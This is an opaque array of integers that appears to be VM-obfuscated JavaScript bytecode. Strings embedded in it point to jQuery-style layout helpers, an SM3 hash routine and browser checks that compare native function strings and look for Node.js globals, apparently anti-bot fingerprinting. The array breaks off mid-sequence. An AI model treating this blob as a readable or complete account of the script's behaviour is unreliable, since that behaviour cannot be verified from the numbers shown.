165, 2, 46, 2, 61, 42, 46, 2, 61, 0, 4, 14, 0, 12, 111, 102, 102, 115, 101, 116, 80, 97, 114, 101, 110, 116, 55, 138, 2, 65, 2, 0, 0, 23, 0, 49, 129, 2, 49, 254, 1, 120, 251, 1, 59, 248, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 109, 97, 112, 23, 230, 1, 55, 227, 1, 65, 2, 0, 0, 23, 0, 49, 218, 1, 49, 215, 1, 49, 43, 49, 41, 3, 39, 4, 3, 3, 1, 97, 60, 32, 38, 0, 72, 22, 46, 2, 61, 0, 95, 0, 4, 14, 0, 12, 111, 102, 102, 115, 101, 116, 80, 97, 114, 101, 110, 116, 4, 4, 1, 2, 73, 98, 73, 150, 1, 60, 108, 92, 0, 60, 51, 92, 0, 4, 3, 3, 1, 97, 91, 42, 85, 0, 59, 38, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 110, 111, 100, 101, 78, 97, 109, 101, 23, 13, 4, 3, 3, 1, 97, 65, 6, 0, 4, 104, 116, 109, 108, 6, 51, 26, 0, 65, 8, 0, 6, 115, 116, 97, 116, 105, 99, 59, 37, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 5, 0, 3, 99, 115, 115, 23, 17, 4, 3, 3, 1, 97, 65, 10, 0, 8, 112, 111, 115, 105, 116, 105, 111, 110, 79, 38, 116, 36, 21, 34, 86, 0, 4, 3, 3, 1, 97, 72, 25, 46, 2, 61, 0, 4, 3, 3, 1, 97, 4, 14, 0, 12, 111, 102, 102, 115, 101, 116, 80, 97, 114, 101, 110, 116, 120, 15, 60, 13, 38, 0, 4, 3, 3, 1, 97, 4, 4, 1, 2, 73, 98, 59, 151, 4, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 129, 4, 35, 79, 23, 77, 1, 37, 46, 2, 61, 42, 46, 2, 61, 0, 4, 12, 0, 10, 115, 99, 114, 111, 108, 108, 76, 101, 102, 116, 65, 13, 0, 11, 112, 97, 103, 101, 88, 79, 102, 102, 115, 101, 116, 1, 36, 46, 2, 61, 42, 46, 2, 61, 0, 4, 11, 0, 9, 115, 99, 114, 111, 108, 108, 84, 111, 112, 65, 13, 0, 11, 112, 97, 103, 101, 89, 79, 102, 102, 115, 101, 116, 55, 173, 3, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 154, 3, 49, 151, 3, 49, 33, 49, 31, 3, 29, 4, 3, 2, 1, 100, 6, 22, 26, 0, 65, 13, 0, 11, 112, 97, 103, 101, 89, 79, 102, 102, 115, 101, 116, 4, 3, 2, 1, 99, 116, 241, 2, 21, 238, 2, 86, 0, 72, 26, 46, 2, 61, 1, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 3, 2, 1, 98, 55, 205, 2, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 101, 49, 191, 2, 49, 188, 2, 120, 185, 2, 59, 182, 2, 4, 3, 1, 1, 74, 23, 174, 2, 95, 0, 55, 128, 2, 65, 2, 0, 0, 23, 15, 4, 3, 4, 1, 98, 4, 3, 4, 1, 101, 4, 3, 4, 1, 102, 49, 232, 1, 49, 229, 1, 49, 24, 49, 22, 3, 20, 4, 3, 4, 1, 103, 59, 13, 4, 4, 1, 2, 74, 98, 23, 5, 4, 3, 4, 1, 98, 120, 200, 1, 56, 197, 1, 6, 15, 26, 0, 91, 6, 32, 0, 46, 2, 61, 0, 4, 3, 4, 1, 102, 56, 37, 4, 3, 4, 1, 103, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 103, 4, 3, 2, 1, 99, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 98, 4, 3, 4, 1, 101, 91, 138, 1, 32, 0, 56, 133, 1, 4, 3, 4, 1, 103, 59, 101, 72, 21, 46, 2, 61, 0, 4, 3, 4, 1, 103, 4, 10, 0, 8, 115, 99, 114, 111, 108, 108, 84, 111, 23, 76, 56, 36, 4, 3, 2, 1, 100, 72, 24, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 13, 0, 11, 112, 97, 103, 101, 88, 79, 102, 102, 115, 101, 116, 4, 3, 4, 1, 102, 56, 36, 4, 3, 2, 1, 100, 4, 3, 4, 1, 102, 72, 24, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 13, 0, 11, 112, 97, 103, 101, 89, 79, 102, 102, 115, 101, 116, 21, 23, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 4, 1, 98, 4, 3, 4, 1, 101, 4, 3, 4, 1, 102, 4, 3, 2, 1, 98, 4, 3, 3, 1, 101, 72, 27, 46, 2, 61, 0, 4, 11, 3, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 103, 0, 59, 190, 2, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 168, 2, 126, 17, 23, 15, 65, 5, 0, 3, 116, 111, 112, 65, 6, 0, 4, 108, 101, 102, 116, 55, 146, 2, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 255, 1, 49, 252, 1, 116, 249, 1, 21, 246, 1, 86, 0, 72, 32, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 99, 115, 115, 72, 111, 111, 107, 115, 4, 3, 2, 1, 98, 59, 207, 1, 4, 4, 1, 2, 121, 97, 23, 198, 1, 72, 26, 46, 2, 61, 0, 4, 3, 1, 1, 107, 4, 15, 0, 13, 112, 105, 120, 101, 108, 80, 111, 115, 105, 116, 105, 111, 110, 55, 167, 1, 65, 2, 0, 0, 23, 10, 4, 3, 3, 1, 97, 4, 3, 3, 1, 99, 49, 148, 1, 49, 145, 1, 120, 142, 1, 56, 139, 1, 4, 3, 3, 1, 99, 57, 124, 23, 122, 21, 27, 86, 0, 4, 3, 3, 1, 99, 59, 18, 4, 4, 1, 2, 120, 97, 23, 10, 4, 3, 3, 1, 97, 4, 3, 2, 1, 98, 56, 91, 59, 27, 72, 18, 46, 2, 61, 0, 4, 4, 1, 2, 118, 97, 4, 6, 0, 4, 116, 101, 115, 116, 23, 5, 4, 3, 3, 1, 99, 6, 55, 58, 0, 72, 45, 46, 2, 61, 1, 59, 34, 72, 30, 46, 2, 61, 0, 59, 12, 4, 3, 1, 1, 110, 23, 5, 4, 3, 3, 1, 97, 4, 10, 0, 8, 112, 111, 115, 105, 116, 105, 111, 110, 23, 0, 4, 3, 2, 1, 98, 65, 4, 0, 2, 112, 120, 4, 3, 3, 1, 99, 91, 6, 32, 0, 46, 2, 61, 0, 59, 169, 8, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 147, 8, 35, 60, 23, 58, 1, 28, 46, 2, 61, 42, 46, 2, 61, 0, 4, 8, 0, 6, 72, 101, 105, 103, 104, 116, 65, 8, 0, 6, 104, 101, 105, 103, 104, 116, 1, 26, 46, 2, 61, 42, 46, 2, 61, 0, 4, 7, 0, 5, 87, 105, 100, 116, 104, 65, 7, 0, 5, 119, 105, 100, 116, 104, 55, 210, 7, 65, 2, 0, 0, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 191, 7, 49, 188, 7, 116, 185, 7, 59, 182, 7, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 160, 7, 35, 99, 23, 97, 1, 37, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 112, 97, 100, 100, 105, 110, 103, 6, 16, 58, 0, 65, 7, 0, 5, 105, 110, 110, 101, 114, 4, 3, 2, 1, 97, 1, 24, 46, 2, 61, 42, 46, 2, 61, 0, 4, 9, 0, 7, 99, 111, 110, 116, 101, 110, 116, 4, 3, 2, 1, 98, 1, 30, 46, 2, 61, 42, 46, 2, 61, 0, 65, 2, 0, 0, 6, 16, 58, 0, 65, 7, 0, 5, 111, 117, 116, 101, 114, 4, 3, 2, 1, 97, 55, 184, 6, 65, 2, 0, 0, 23, 10, 4, 3, 3, 1, 99, 4, 3, 3, 1, 100, 49, 165, 6, 49, 162, 6, 116, 159, 6, 21, 156, 6, 86, 0, 72, 26, 46, 2, 61, 1, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 3, 3, 1, 100, 55, 251, 5, 65, 2, 0, 0, 23, 10, 4, 3, 4, 1, 100, 4, 3, 4, 1, 101, 49, 232, 5, 49, 229, 5, 49, 152, 1, 49, 149, 1, 3, 71, 4, 3, 4, 1, 102, 60, 64, 92, 0, 72, 27, 46, 2, 61, 0, 4, 11, 4, 9, 97, 114, 103, 117, 109, 101, 110, 116, 115, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 60, 31, 38, 0, 4, 3, 3, 1, 99, 6, 22, 94, 0, 65, 9, 0, 7, 98, 111, 111, 108, 101, 97, 110, 91, 7, 125, 0, 4, 3, 4, 1, 100, 3, 74, 4, 3, 4, 1, 103, 60, 67, 38, 0, 4, 3, 3, 1, 99, 56, 58, 60, 36, 38, 0, 6, 15, 26, 0, 4, 3, 4, 1, 100, 91, 6, 85, 0, 46, 2, 61, 0, 6, 15, 26, 0, 4, 3, 4, 1, 101, 91, 6, 85, 0, 46, 2, 61, 0, 65, 8, 0, 6, 109, 97, 114, 103, 105, 110, 65, 8, 0, 6, 98, 111, 114, 100, 101, 114, 120, 199, 4, 59, 196, 4, 4, 3, 1, 1, 74, 23, 188, 4, 95, 0, 55, 151, 4, 65, 2, 0, 0, 23, 15, 4, 3, 5, 1, 98, 4, 3, 5, 1, 99, 4, 3, 5, 1, 100, 49, 255, 3, 49, 252, 3, 49, 11, 49, 9, 3, 7, 4, 3, 5, 1, 101, 87, 0, 120, 236, 3, 56, 233, 3, 59, 30, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 105, 115, 87, 105, 110, 100, 111, 119, 23, 5, 4, 3, 5, 1, 98, 72, 71, 46, 2, 61, 1, 72, 46, 46, 2, 61, 0, 72, 21, 46, 2, 61, 0, 4, 3, 5, 1, 98, 4, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 4, 17, 0, 15, 100, 111, 99, 117, 109, 101, 110, 116, 69, 108, 101, 109, 101, 110, 116, 6, 17, 58, 0, 65, 8, 0, 6, 99, 108, 105, 101, 110, 116, 4, 3, 2, 1, 97, 56, 253, 2, 6, 29, 26, 0, 46, 2, 61, 9, 72, 21, 46, 2, 61, 0, 4, 3, 5, 1, 98, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 57, 247, 1, 23, 244, 1, 21, 37, 86, 0, 4, 3, 5, 1, 101, 72, 28, 46, 2, 61, 0, 4, 3, 5, 1, 98, 4, 17, 0, 15, 100, 111, 99, 117, 109, 101, 110, 116, 69, 108, 101, 109, 101, 110, 116, 59, 202, 1, 72, 19, 46, 2, 61, 0, 4, 6, 0, 4, 77, 97, 116, 104, 4, 5, 0, 3, 109, 97, 120, 23, 178, 1, 72, 42, 46, 2, 61, 1, 72, 17, 46, 2, 61, 0, 4, 3, 5, 1, 98, 4, 6, 0, 4, 98, 111, 100, 121, 6, 17, 58, 0, 65, 8, 0, 6, 115, 99, 114, 111, 108, 108, 4, 3, 2, 1, 97, 72, 28, 46, 2, 61, 1, 4, 3, 5, 1, 101, 6, 17, 58, 0, 65, 8, 0, 6, 115, 99, 114, 111, 108, 108, 4, 3, 2, 1, 97, 72, 42, 46, 2, 61, 1, 72, 17, 46, 2, 61, 0, 4, 3, 5, 1, 98, 4, 6, 0, 4, 98, 111, 100, 121, 6, 17, 58, 0, 65, 8, 0, 6, 111, 102, 102, 115, 101, 116, 4, 3, 2, 1, 97, 72, 28, 46, 2, 61, 1, 4, 3, 5, 1, 101, 6, 17, 58, 0, 65, 8, 0, 6, 111, 102, 102, 115, 101, 116, 4, 3, 2, 1, 97, 72, 28, 46, 2, 61, 1, 4, 3, 5, 1, 101, 6, 17, 58, 0, 65, 8, 0, 6, 99, 108, 105, 101, 110, 116, 4, 3, 2, 1, 97, 56, 98, 6, 15, 26, 0, 91, 6, 32, 0, 46, 2, 61, 0, 4, 3, 5, 1, 100, 59, 35, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 5, 0, 3, 99, 115, 115, 23, 15, 4, 3, 5, 1, 98, 4, 3, 5, 1, 99, 4, 3, 4, 1, 103, 59, 42, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 115, 116, 121, 108, 101, 23, 20, 4, 3, 5, 1, 98, 4, 3, 5, 1, 99, 4, 3, 5, 1, 100, 4, 3, 4, 1, 103, 4, 3, 2, 1, 98, 56, 18, 4, 3, 4, 1, 102, 4, 3, 4, 1, 100, 91, 6, 32, 0, 46, 2, 61, 0, 4, 3, 4, 1, 102, 103, 0, 21, 65, 86, 0, 72, 29, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 6, 0, 4, 115, 105, 122, 101, 55, 30, 65, 2, 0, 0, 23, 0, 49, 22, 49, 20, 120, 18, 72, 16, 46, 2, 61, 0, 95, 0, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 21, 70, 86, 0, 72, 32, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 9, 0, 7, 97, 110, 100, 83, 101, 108, 102, 72, 32, 46, 2, 61, 0, 72, 15, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 4, 0, 2, 102, 110, 4, 9, 0, 7, 97, 100, 100, 66, 97, 99, 107, 60, 106, 92, 0, 60, 55, 92, 0, 6, 28, 16, 0, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 91, 12, 125, 0, 4, 8, 0, 6, 100, 101, 102, 105, 110, 101, 72, 21, 46, 2, 61, 0, 4, 8, 0, 6, 100, 101, 102, 105, 110, 101, 4, 5, 0, 3, 97, 109, 100, 59, 45, 4, 8, 0, 6, 100, 101, 102, 105, 110, 101, 23, 33, 65, 8, 0, 6, 106, 113, 117, 101, 114, 121, 126, 2, 23, 0, 55, 17, 65, 2, 0, 0, 23, 0, 49, 9, 49, 7, 120, 5, 4, 3, 1, 1, 110, 49, 55, 49, 53, 3, 27, 4, 4, 1, 2, 75, 98, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 8, 0, 6, 106, 81, 117, 101, 114, 121, 3, 22, 4, 4, 1, 2, 76, 98, 72, 14, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 3, 1, 1, 36, 120, 148, 2, 57, 145, 2, 23, 142, 2, 21, 190, 1, 86, 0, 72, 23, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 12, 0, 10, 110, 111, 67, 111, 110, 102, 108, 105, 99, 116, 55, 160, 1, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 98, 49, 146, 1, 49, 143, 1, 120, 140, 1, 57, 137, 1, 23, 134, 1, 60, 53, 92, 0, 6, 23, 26, 0, 72, 14, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 3, 1, 1, 36, 4, 3, 1, 1, 110, 21, 24, 86, 0, 72, 14, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 3, 1, 1, 36, 4, 4, 1, 2, 76, 98, 60, 72, 92, 0, 60, 37, 92, 0, 4, 3, 2, 1, 98, 6, 28, 26, 0, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 8, 0, 6, 106, 81, 117, 101, 114, 121, 4, 3, 1, 1, 110, 21, 29, 86, 0, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 8, 0, 6, 106, 81, 117, 101, 114, 121, 4, 4, 1, 2, 75, 98, 4, 3, 1, 1, 110, 60, 70, 92, 0, 6, 16, 26, 0, 91, 7, 125, 0, 4, 3, 1, 1, 98, 4, 3, 1, 1, 85, 21, 48, 86, 0, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 8, 0, 6, 106, 81, 117, 101, 114, 121, 21, 23, 86, 0, 72, 14, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 3, 1, 1, 36, 4, 3, 1, 1, 110, 4, 3, 1, 1, 110, 116, 170, 12, 21, 167, 12, 86, 0, 72, 39, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 7, 0, 5, 114, 101, 115, 101, 116, 55, 249, 11, 65, 2, 0, 0, 23, 0, 49, 240, 11, 49, 237, 11, 116, 183, 1, 21, 180, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 0, 56, 150, 1, 6, 30, 26, 0, 91, 14, 125, 0, 4, 10, 0, 8, 68, 111, 99, 117, 109, 101, 110, 116, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 99, 6, 63, 26, 0, 6, 18, 58, 0, 4, 10, 0, 8, 68, 111, 99, 117, 109, 101, 110, 116, 65, 2, 0, 0, 65, 39, 0, 37, 102, 117, 110, 99, 116, 105, 111, 110, 32, 68, 111, 99, 117, 109, 101, 110, 116, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 55, 55, 55, 48, 49, 48, 56, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 177, 1, 21, 174, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 1, 56, 144, 1, 6, 28, 26, 0, 91, 12, 125, 0, 4, 8, 0, 6, 87, 105, 110, 100, 111, 119, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 95, 6, 59, 26, 0, 6, 16, 58, 0, 4, 8, 0, 6, 87, 105, 110, 100, 111, 119, 65, 2, 0, 0, 65, 37, 0, 35, 102, 117, 110, 99, 116, 105, 111, 110, 32, 87, 105, 110, 100, 111, 119, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 49, 57, 56, 51, 49, 55, 51, 51, 50, 49, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 180, 1, 21, 177, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 2, 56, 147, 1, 6, 32, 26, 0, 91, 16, 125, 0, 4, 12, 0, 10, 78, 97, 118, 105, 103, 97, 116, 105, 111, 110, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 94, 6, 67, 26, 0, 6, 20, 58, 0, 4, 12, 0, 10, 78, 97, 118, 105, 103, 97, 116, 105, 111, 110, 65, 2, 0, 0, 65, 41, 0, 39, 102, 117, 110, 99, 116, 105, 111, 110, 32, 78, 97, 118, 105, 103, 97, 116, 105, 111, 110, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 6, 53, 214, 133, 129, 184, 1, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 183, 1, 21, 180, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 3, 56, 150, 1, 6, 30, 26, 0, 91, 14, 125, 0, 4, 10, 0, 8, 76, 111, 99, 97, 116, 105, 111, 110, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 99, 6, 63, 26, 0, 6, 18, 58, 0, 4, 10, 0, 8, 76, 111, 99, 97, 116, 105, 111, 110, 65, 2, 0, 0, 65, 39, 0, 37, 102, 117, 110, 99, 116, 105, 111, 110, 32, 76, 111, 99, 97, 116, 105, 111, 110, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 51, 54, 54, 54, 51, 55, 53, 57, 56, 56, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 189, 1, 21, 186, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 4, 56, 156, 1, 6, 32, 26, 0, 91, 16, 125, 0, 4, 12, 0, 10, 70, 111, 99, 117, 115, 69, 118, 101, 110, 116, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 103, 6, 67, 26, 0, 6, 20, 58, 0, 4, 12, 0, 10, 70, 111, 99, 117, 115, 69, 118, 101, 110, 116, 65, 2, 0, 0, 65, 41, 0, 39, 102, 117, 110, 99, 116, 105, 111, 110, 32, 70, 111, 99, 117, 115, 69, 118, 101, 110, 116, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 50, 55, 48, 49, 57, 51, 48, 54, 56, 52, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 162, 1, 21, 159, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 5, 56, 129, 1, 6, 29, 26, 0, 91, 13, 125, 0, 4, 9, 0, 7, 114, 101, 113, 117, 105, 114, 101, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 88, 6, 61, 26, 0, 6, 17, 58, 0, 4, 9, 0, 7, 114, 101, 113, 117, 105, 114, 101, 65, 2, 0, 0, 65, 38, 0, 36, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 113, 117, 105, 114, 101, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 6, 53, 173, 239, 136, 145, 1, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 6, 53, 173, 239, 196, 168, 1, 116, 171, 1, 21, 168, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 6, 56, 138, 1, 6, 26, 26, 0, 91, 10, 125, 0, 4, 6, 0, 4, 78, 111, 100, 101, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 91, 6, 55, 26, 0, 6, 14, 58, 0, 4, 6, 0, 4, 78, 111, 100, 101, 65, 2, 0, 0, 65, 35, 0, 33, 102, 117, 110, 99, 116, 105, 111, 110, 32, 78, 111, 100, 101, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 51, 56, 49, 54, 53, 57, 56, 48, 57, 51, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 195, 1, 21, 192, 1, 86, 0, 72, 23, 46, 2, 61, 1, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 46, 2, 61, 7, 56, 162, 1, 6, 34, 26, 0, 91, 18, 125, 0, 4, 14, 0, 12, 72, 84, 77, 76, 68, 111, 99, 117, 109, 101, 110, 116, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 56, 107, 6, 71, 26, 0, 6, 22, 58, 0, 4, 14, 0, 12, 72, 84, 77, 76, 68, 111, 99, 117, 109, 101, 110, 116, 65, 2, 0, 0, 65, 43, 0, 41, 102, 117, 110, 99, 116, 105, 111, 110, 32, 72, 84, 77, 76, 68, 111, 99, 117, 109, 101, 110, 116, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 46, 15, 70, 65, 12, 0, 10, 52, 48, 48, 56, 51, 56, 50, 50, 56, 54, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 49, 55, 46, 15, 70, 65, 12, 0, 10, 49, 57, 51, 54, 55, 50, 49, 53, 51, 51, 116, 25, 21, 23, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 126, 2, 23, 0, 116, 24, 21, 22, 86, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 115, 105, 122, 101, 46, 2, 61, 0, 116, 148, 4, 21, 145, 4, 86, 0, 72, 44, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 12, 0, 10, 115, 116, 114, 84, 111, 66, 121, 116, 101, 115, 55, 222, 3, 65, 2, 0, 0, 23, 5, 4, 3, 1, 1, 115, 49, 208, 3, 49, 205, 3, 49, 34, 49, 32, 3, 8, 4, 4, 1, 2, 99, 104, 87, 0, 3, 8, 4, 4, 1, 2, 115, 116, 87, 0, 3, 10, 4, 4, 1, 2, 114, 101, 126, 2, 23, 0, 106, 158, 3, 49, 13, 49, 11, 3, 9, 4, 3, 1, 1, 105, 46, 2, 61, 0, 6, 28, 36, 0, 4, 3, 1, 1, 105, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 115, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 96, 11, 119, 0, 46, 2, 61, 0, 4, 3, 1, 1, 105, 79, 225, 2, 116, 44, 21, 42, 86, 0, 4, 4, 1, 2, 99, 104, 59, 32, 72, 23, 46, 2, 61, 0, 4, 3, 1, 1, 115, 4, 12, 0, 10, 99, 104, 97, 114, 67, 111, 100, 101, 65, 116, 23, 5, 4, 3, 1, 1, 105, 116, 14, 21, 12, 86, 0, 4, 4, 1, 2, 115, 116, 126, 2, 23, 0, 112, 223, 1, 4, 4, 1, 2, 99, 104, 79, 214, 1, 76, 185, 1, 60, 95, 92, 0, 6, 32, 26, 0, 91, 15, 125, 0, 4, 11, 0, 9, 95, 95, 100, 105, 114, 110, 97, 109, 101, 65, 11, 0, 9, 117, 110, 100, 101, 102, 105, 110, 101, 100, 6, 57, 26, 0, 6, 15, 58, 0, 4, 7, 0, 5, 112, 114, 105, 110, 116, 65, 2, 0, 0, 65, 36, 0, 34, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 105, 110, 116, 40, 41, 32, 123, 32, 91, 110, 97, 116, 105, 118, 101, 32, 99, 111, 100, 101, 93, 32, 125, 49, 42, 49, 40, 116, 38, 59, 36, 72, 18, 46, 2, 61, 0, 4, 4, 1, 2, 115, 116, 4, 6, 0, 4, 112, 117, 115, 104, 23, 14, 6, 12, 30, 0, 4, 4, 1, 2, 99, 104, 46, 2, 61, 254, 49, 42, 49, 40, 116, 38, 59, 36, 72, 18, 46, 2, 61, 0, 4, 4, 1, 2, 115, 116, 4, 6, 0, 4, 112, 117, 115, 104, 23, 14, 6, 12, 30, 0, 4, 4, 1, 2, 99, 104, 46, 2, 61, 255, 116, 24, 21, 22, 86, 0, 4, 4, 1, 2, 99, 104, 6, 12, 62, 0, 4, 4, 1, 2, 99, 104, 46, 2, 61, 8, 116, 63, 21, 61, 86, 0, 4, 4, 1, 2, 114, 101, 59, 51, 72, 20, 46, 2, 61, 0, 4, 4, 1, 2, 114, 101, 4, 8, 0, 6, 99, 111, 110, 99, 97, 116, 23, 27, 59, 25, 72, 21, 46, 2, 61, 0, 4, 4, 1, 2, 115, 116, 4, 9, 0, 7, 114, 101, 118, 101, 114, 115, 101, 23, 0, 120, 6, 4, 4, 1, 2, 114, 101, 116, 214, 5, 21, 211, 5, 86, 0, 72, 39, 46, 2, 61, 0, 72, 24, 46, 2, 61, 0, 4, 5, 0, 3, 83, 77, 51, 4, 11, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 4, 7, 0, 5, 119, 114, 105, 116, 101, 55, 165, 5, 65, 2, 0, 0, 23, 7, 4, 5, 1, 3, 109, 115, 103, 49, 149, 5, 49, 146, 5, 49, 76, 49, 74, 3, 72, 4, 3, 